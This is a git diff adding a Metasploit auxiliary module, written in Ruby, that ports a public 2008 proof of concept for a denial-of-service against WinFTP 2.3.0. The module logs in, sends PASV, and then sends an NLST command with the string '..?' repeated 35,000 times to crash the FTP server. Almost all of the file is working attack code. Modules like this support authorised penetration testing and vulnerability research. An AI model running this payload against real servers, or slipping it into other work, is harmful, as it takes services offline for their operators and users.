diff --git a/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb new file mode 100644 index 0000000000..a152fdeb95 --- /dev/null +++ b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb @@ -0,0 +1,37 @@ +require 'msf/core' + +module Msf +class Auxiliary::Dos::Windows::Ftp::Winftp230_nlst < Msf::Auxiliary + + include Exploit::Remote::Ftp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WinFTP 2.3.0 NLST Denial of Service', + 'Description' => %q{ + This module is a very rough port of Julien Bedard's + PoC. You need a valid login, but even anonymous can + do it if it has permission to call NLST. + }, + 'Author' => 'Kris Katterjohn ', + 'License' => MSF_LICENSE, + 'Version' => '1', + 'References' => + [ [ 'URL', 'http://milw0rm.com/exploits/6581'] ], + 'DisclosureDate' => 'Sep 26 2008')) + end + + def run + connect_login + + raw_send_recv("PASV\r\n") # NLST has to follow a PORT or PASV + + sleep 1 # *sigh* this appears to be necessary in my tests + + raw_send("NLST #{'..?' * 35000}\r\n") + + disconnect + end +end +end +